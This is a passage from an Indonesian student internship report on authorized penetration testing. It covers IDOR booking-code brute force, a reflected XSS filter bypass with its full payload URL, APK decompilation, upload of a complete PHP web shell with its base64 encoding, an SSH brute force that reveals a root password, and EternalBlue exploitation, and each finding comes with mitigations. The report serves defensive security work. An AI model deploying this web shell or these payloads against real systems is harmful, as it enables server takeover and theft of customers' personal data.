Attacker dapat melewati otorisasi yang bukan haknya dengan cara
memodifikasi parameter yang dikirimkan pada objek tersebut. Serangan ini
terjadi karena tidak adanya pengecekan otorisasi yang memadai pada suatu
objek. Melalui kerentanan ini seorang attacker dapat memanfaatkannya
untuk mengambil informasi-informasi penting yang bersifat pribadi terkait
data diri pemesanan hotel dan pemesanan penerbangan seperti nama
konsumen, no hp konsumen, email konsumen, informasi keberangkatan dan
informasi kedatangan pesawat yang telah dipesan, dan dapat digunakan
untuk mencuri e-ticketing.
Langkah awal untuk melakukan pengujian IDOR adalah dengan
mendaftarkan dua akun pada situs tersebut. Kemudian setiap akun
melakukan pemesanan. Setelah melakukan pemesanan, masing-masing
akun akan mendapatkan codebooking dari pemesanan. Misalnya akun A
mendapatkan kode T1RDZX dan akun B mendapatkan kode ABCDEF.
Kemudian penulis memfokuskan pada akun A, lakukan pengujian pada url
http://*sensor*/*sensor*/detail?code=T1RDZX.
39
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Langkah selanjutnya merubah value dari T1RDZX dengan kode yang
didapatkan oleh akun B yaitu ABCDEF. Serangan ini sukses apabila pada
akun A dapat menampilkan informasi pemesanan yang dilakukan oleh akun
B. Untuk mendapatkan informasi dari konsumen lain, membutuhkan
melakukan bruteforce kode tersebut. Dari kode tersebut dapat diketahui
pattern yang membentuk kode tersebut. Kode tersebut dibentuk dari angka
dan huruf ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 yang
dilakukan pengacakan dengan panjang 6 karakter. Untuk melakukan
bruteforce menggunakan penulis menggunakan bantuan tools burpsuite
yang bertujuan agar mendapatkan kode yang valid.
Gambar 3. 22 Gambar parameter yang rentan terhadap IDOR
Gambar 3. 23 Gambar generate booking code
40
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 24 Gambar hasil bruteforce melalui celah IDOR
Setelah melakukan bruteforce penulis mendapatkan code booking
yang valid, yang dapat digunakan untuk mendapatkan informasi-informasi
penting terkait informasi pemesanan penerbangan dan hotel. Untuk
memastikannya penulis mencoba salah satu code booking yaitu FYRYKK.
Melalui cara ini mendapatkan informasi penting seperti nama, no ponsel,
email, informasi penerbangan.
Gambar 3. 25 Gambar informasi penerbangan
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang
attacker dapat mengambil informasi pengguna lain yang sifatnya rahasia.
Untuk mengantisipasi terjadinya serangan IDOR, perlu adanya pembatasan
session dari setiap aktivitas yang digunakan untuk melakukan penambahan
41
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
wishlist produk. Dalam hal ini perlu adanya pembatasan session pada
parameter userID, jadi setiap pengguna hanya menambahkan wishlist
produk ke dashboardnya sendiri. Apabila terjadi serangan oleh seorang
attacker yang melakukan permintaan penambahan wishlist yang bukan
miliknya maka sistem akan membacanya sebagai permintaan yang tidak
valid.
6. Reflected XSS Pada Fitur Cari Produk
Serangan XSS merupakan serangan dengan cara menyuntikan script
ke aplikasi web melalui parameter yang rentan terhadap serangan XSS.
Serangan ini terjadi karena belum terdapatnya pernyaringan terhadap
special character yang dimasukan oleh pengguna aplikasi. Pada situasi ini
yang terjadi adalah reflected XSS dimana script tidak tersimpan didalam
web aplikasi. Melalui kerentanan ini seorang attacker dapat
memanfaatkannya untuk memanipulasi pengguna aplikasi untuk
mengunjungi halaman palsu untuk mendapatkan informasi seperti
username, password. Melalui celah ini dapat digunakan untuk
memanipulasi pengguna agar melakukan download suatu malware yang
kemudian dapat berjalan di komputer korban. Selain itu dapat digunakan
untuk menjebak korban agar mengunjungi situs yang berbahaya seperti
phising.
Pada pengujian XSS pada umumnya menggunakan payload seperti
<script>alert(“xss”);</script>, payload tersebut apabila tereksekusi oleh
sistem maka akan menampilkan pop up pada browser. Dengan
tereksekusinya script tersebut maka dapat dipastikan, pada fitur tersebut
tidak terdapat pengecekan spesial karakter dan tidak melakukan escape.
Namun ketika dilakukan percobaan payload tersebut pada fitur pencarian
produk tidak berhasil Karena terdapat pengecekan untuk menghindari
serangan ini. Untuk itu perlu adanya suatu payload baru yang digunakan
untuk melewati pengecekan tersebut. Hal yang perlu dilakukan adalah
mencoba melewati pengecekan yang ada dengan mencoba menggunakan
payload yang lain seperti berikut ini ” style=”background:red”
42
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
onmouseover=”alert(document.domain)”><x=”. Payload tersebut
terfilter dan tampil menjadi style=background:red x =. Melalui hasil ini
dapat dianalisa bahwa sistem tidak membolehkan masukan berupa karakter
> dan <. Yang perlu dilakukan mencoba melakukan bypassing dengan
mengganti Karakter lebih besar (>) dan lebih kecil (<) dengan spasi “ “.
Payload yang digunakan tadi diganti menjadi " style=”background:red;
“<onmouseover=”alert(document.domain)”<x=”. Sehingga akan
menghasilkan payload akhir adalah sebagai berikut :
https://*sensor*/*sensor*?tab=product&keyword=%22%20style=%E
2%80%9Dbackground:red;%20%E2%80%9C%3Conmouseover=%
E2%80%9Dprompt(document.domain)%E2%80%9D%3Cx=%E2%
80%9D. Setelah dikirimkan menghasilkan pesan pop up. Melalui pesan ini
dapat teridentifikasi bahwa pada fitur ini terdapat celah XSS.
Gambar 3. 26 Gambar celah XSS
Serangan ini menghasilkan nilai risiko yang sedang, karena seorang
attacker tidak dapat mengeksploitasi secara langsung yang dapat
meruguikan perusahaan. Untuk mengantisipasi terjadinya serangan XSS
perlu adanya penyaringan special character dan memfilter kata kunci
seperti alert, prompt, confirm, onmouseover, script dan keyword yang biasa
digunakan untuk melakukan serangan XSS.
7. Lack of Binary Protections Pada Aplikasi Android
Lack of Binary Protections merupakan celah yang terkajadi karena
tidak adanya perlindungan pada suatu aplikasi, sehingga memungkinkan
seorang attacker melihat isi dari aplikasi tersebut melalui cara reverse
engineering. Melalui kerentanan ini seorang attacker dapat
memanfaatkannya untuk mengambil source code dari aplikasi tersebut.
43
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Attacker dapat memodifikasi source code dan kemudian menyisipkan
malware yang selanjutnya disebar luaskas ke masyarakat.
Pada kasus ini penulis diberikan file apk yang merupakan aplikasi
android. Untuk membongkarnya menjadi source code kembali perlu
melakukan decompile. Penulis menggunakan dex2jar untuk mengkonversi
file apk menjadi jar.
Gambar 3. 27 Gambar decompile APK kebentuk jar
Setelah mendapatkan file jar, agar file jar dapat kembali kebentuk
source code perlu dilakukan decompile menggunakan java decompiler. File
jar berhasil ter decompile dan source code dapat dibaca karena tidak adanya
obfuscate yang melindungi source code. Berawal dari kerentanan ini,
penulis mendapatkan informasi IP server dari web service yang digunakan.
Gambar 3. 28 Gambar decompile kebentuk java
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang
attacker dapat mencuri source code dan memodifikasinya dengan
menambahkan malware untuk keuntungan tersebut. Untuk melindungi dari
serangan jenis ini, seorang developer perlu melakukan perlindungan dengan
menambahkan obfuscate pada aplikasi mobile yang ia buat. Dengan adanya
obfuscate seorang attacker akan kesulitan untuk mengambil source code
44
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
dan membacanya source code tersebut. Hal ini terjadi karena source code
asli telah dikaburkan sehingga susah untuk dibaca dan dianalisa.
8. Unrestricted File Upload Pada Fitur Upload Sertifikat
Unrestricted File Upload merupakan kerentanan yang terjadi karena
tidak adanya penyaringan dan pengecekan file yang di upload oleh
pengguna. Melalui kerentanan ini seorang attacker dapat memanfaatkannya
untuk meng-upload backdoor yang dapat digunakan oleh attacker untuk
berkomunikasi dengan server secara ilegal. Melalui cara ini seorang
attacker dapat melihat informasi yang tersimpan di dalam server, seorang
attacker juga dapat mengambil alih server secara penuh.
Berdasarkan hasil intercept request melalui bantuan tool burp suite
parameter image di encode mengguanakan base64 encode dan urlencode.
Selain itu terdapat parameter namaFile yang mengirimkan namafile dari
gambar tersebut. Pada parameter namaFile tidak terdapat pengecekan
format file yang dikirim, sehingga dapat digunakan untuk melakukan
uploading backdoor PHP.
Gambar 3. 29 Gambar intercept request ketika upload
Langkah selanjutnya adalah mencoba melakukan uploading backdoor
dengan melakukan encoding menggunakan base64 dan urlencode. Berikut
ini adalah backdoor PHP yang coba di upload.
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
} ?>
45
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Kemudian ketika di encode akan menghasilkan sebagai berikut:
PD9waHAKaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpewogICA
gICAgIGVjaG8gIjxwcmU%2BIjsKICAgICAgICAkY21kID0gKCRfUkVR
VUVTVFsnY21kJ10pOwogICAgICAgIHN5c3RlbSgkY21kKTsKICAgICA
gICBlY2hvICI8L3ByZT4iOwogICAgICAgIGRpZTsKfQo%2FPg%3D%3
D
Selain mengubah parameter image, hal yang perlu dilakukan agar serangan
ini dapat berhasil adalah mengubah namaFile yang awalnya namaFile.jpg
menjadi 1337.php yang bertujuan agar backdoor php dapat berjalan.
Gambar 3. 30 Gambar meng-upload backdoor
Gambar 3. 31 Gambar backdoor berhasil di upload
Response dari server menunjukan backdoor sukses ter upload. Untuk
mmencari tahu letak path yang digunakan dalam menyimpan file yang
terupload penulis menemukan URL pada source code di aplikasi mobile.
46
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 32 Gambar mencari tahu letak path dari backdoor
Dari source code diatas dapat dianalisa, untuk mengakses file dengan cara
alamat url + namafile. Sehingga mendapatkan hasil akhir
http://192.168.43.100/assets/files/sertifikat/1337.php. Selanjutya mencoba
mengakses backdoor menggunakan browser, dan mencoba menjalankan
perintah ipfconfig.
Gambar 3. 33 Gambar mengakses backdoor
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang
attacker dapat berinteraksi dengan server melalui backdoor yang telah
ditanam pada server. Untuk mengantisipasi terjadinya serangan ini, perlu
47
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
adanya pengecekan pada file yang di upload. Metode pengecekan yang
digunakan dapat berupa hanya membolehkan file yang berekstensi gambar
seperti (JPEG, JPG, PNG, BMP) dan memiliki MIME-TYPE gambar saja
yang dapat diupload. Selain dari itu tidak dapat diupload karena tidak cocok.
9. Weak Password Pada Service SSH Server Linux
Kerentanan ini terjadi karena seorang system administrator membuat
password yang mudah dan umum. Selain itu tidak adanya pembatasan
jumlah percobaan login pada SSH membuat serangan ini dapat terjadi.
Melalui kerentanan ini seorang attacker dapat memanfaatkannya untuk
mengambil alih server secara penuh. Pada situasi ini dapat login setingkat
root sehingga sangat berbahaya.
Sebelum menguji service, hal yang paling awal dilakukan adalah
mencari tahu service apa saja yang berjalan pada server tersebut. Terdapat
beberapa cara dalam mencari tahu hal ini, penulis menggunakan tool nmap
untuk mencari tahu service yang berjalan di port berapa. Melalui teknik
scanning secara otomatis dapat menemukan service apa saja yang sedang
dijalankan oleh server. Karena pada pengujian ini mencoba melakukan
serangan bruteforce maka penulis fokus pada service SSH. SSH merupakan
suatu service yang digunakan untuk melakukan remote server jarak jauh.
Gambar 3. 34 Gambar scanning dengan nmap
Dalam melakukan pengujian service SSH penulis mencoba menggunakan
bruteforce attack. Penulis menggunakan metasploit melakukan serangan
tersebut.
48
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 35 Gambar bruteforce attack dengan metasploit pada SSH
Serangan ini menghasilkan service tersebut rentan terhadap serangan
bruteforce. Hal ini dibuktikan penulis berhasil masuk ke dalam server
melaui SSH dengan username root dan password P@ssw0rd2017
Gambar 3. 36 Gambar bruteforce attack berhasil mendapatkan password
Gambar 3. 37 Gambar login ke SSH
49
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang
attacker dapat berinteraksi dengan server secara langsung. Untuk
mengantisipasi terjadinya serangan ini dengan menerapkan kompleksitas
password dengan mengkombinasikan huruf besar, huruf kecil, angka dan
karakter. Selain itu perlu adanya pembatasan login yang gagal, apabila
melebihi batas dari percobaan login yang dilakukan maka tidak boleh
mengakses SSH melalui IP tersebut. Mematikan fitur login SSH setingkat
root, alangkah lebih baiknya hanya user biasa yang dapat login ke server
melalui SSH.
10. Remote Code Execution Pada Service SMB Windows Server
Kerentanan ini terjadi pada service SMB Microsoft versi lama.
Attacker dapat mengirimkan code berbahaya yang dapat dieksekusi oleh
server secara remote jarak jauh. Melalui kerentanan ini seorang attacker
dapat memanfaatkannya untuk mengambil alih server secara penuh. Selain
itu melalui celah ini dapat rentan terhadap infeksi ransomware wannacy.
Serangan ini terjadi Karena adanya kerentanan pada service samba yang
berjalan pada port 445.
Untuk melakukan serangan ini penulis menggunakan tool metasploit
dan menggunakan module eternalblue untuk mendapatkan akses shell
windows server. Untuk melaukan serangan cukup memaskan alamat IP dan
PORT SMB service, secara otomatis tools akan melakukan exploitasi dan
mendapatkan akses penuh ke server target.
50
Praktik Kerja Lapangan/Kerja Praktik BAB III
Pordi IF - IT Telkom Purwokerto NIM 14102019
Gambar 3. 38 Gambar eksploitasi ethernal blue
Berikut ini gambar server yang terambil alih, penulis dapat melakukan
remote target melalui shell cmd dan dapat menjalankan perintah ipconfig
Gambar 3. 39 Gambar mengambil alih server melalui ethernal blue
Serangan ini menghasilkan nilai risiko yang tinggi, karena seorang attacker
dapat mengambil alih production server secara penuh. Untuk
mengantisipasi terjadinya serangan ini dengan melakukan update security
dari Microsof